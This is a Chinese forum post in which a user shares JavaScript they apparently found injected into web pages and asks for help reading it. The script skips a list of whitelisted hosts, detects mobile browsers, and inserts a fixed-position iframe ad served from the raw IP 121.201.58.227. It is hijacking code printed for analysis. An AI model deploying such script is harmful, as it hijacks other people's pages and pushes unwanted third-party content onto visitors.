@
alonga 这是那段代码 我只能看懂 有 浏览器标识的识别 和几个不劫持的网站。。
var scr = document.getElementsByTagName('SCRIPT');
var url = scr[scr.length - 1].src + "?t=283718787";
document.write('<script src="' + url + '"></script>');
var host = window.location.host;
var n = Math.round(Math.random() * 100);
var arr = ['
www.baidu.com', '
www.w0517.com', '
www.qq.com', '
www.360.cn', '
baidu.com', '
360.cn', '
w0517.com', '
qq.com', '
sina.com', 'localhost'];
function contains(arr, obj) {
var i = arr.length;
while (i--) {
if (arr[i] === obj) {
return true
}
}
return false
}
var sta = contains(arr, host);
function check_mobile() {
var ua = navigator.userAgent;
ua = ua ? ua.toLowerCase().replace(/-/g, "") : "";
if (ua.match(/(Android|iPhone|iPod|iPad)/i)) {
return true
} else {
return false
}
}
var isM = check_mobile();
function closeFootAd() {
document.getElementById('_ad_top_1').style.display = 'none';
setCookie(host, 0)
}
function setCookie(name, value) {
var exp = new Date();
host = window.location.host;
exp.setTime(exp.getTime() + 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function getCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null
}
function i(w,h,t,b,l,r,s){
var d = document.createElement('div');
var dd = document.createElement('img');
var i = document.createElement('iframe');
dd.setAttribute('src', 'http://121.201.58.227:8000/close-icon.png');
dd.style.position = 'absolute';
dd.style.top = '0px';
dd.style.right = '0px';
dd.style.width = "30px";
dd.style.zIndex = '9999999999999';
dd.onclick = function () {
closeFootAd()
}
d.style.position = 'fixed';
if(w){
d.style.width = w;
}
if(h){
d.style.height = h;
}
if(t){
d.style.top = t;
}
if(b){
d.style.bottom = b;
}
if(l){
d.style.left = l;
}
if(r){
d.style.right = r;
}
d.style.zIndex = "9999999999998";
d.setAttribute('id', '_ad_top_1');
i.setAttribute('src', s);
i.setAttribute('scrolling','no');
i.style.overflow = 'hidden';
if(w){
i.style.width = w;
}
if(h){
i.style.height = h;
}
i.setAttribute('frameBorder', '0');
d.appendChild(i);
d.appendChild(dd);
var has = document.getElementById('_ad_top_1');
if(document.body){
if(!has){
document.body.appendChild(d);
}
}else{
window.onload = function(){
if(!has){
document.body.appendChild(d);
}
}
}
}
if (getCookie(host) == 0 || sta) {} else if (isM) {
var w = "300px";
var h = "150px";
var t = "false";
var b = "0px";
var l = "0px";
var r = "false";
i(w,h,t,b,l,r,'http://121.201.58.227:8000/tp/wap.php?id=6&ad=1');
} else {
var w = "300px";
var h = "250px";
var t = "false";
var b = "10px";
var l = "false";
var r = "10px";
i(w,h,t,b,l,r,'http://121.201.58.227:8000/pc.php?id=6&ad=1')
}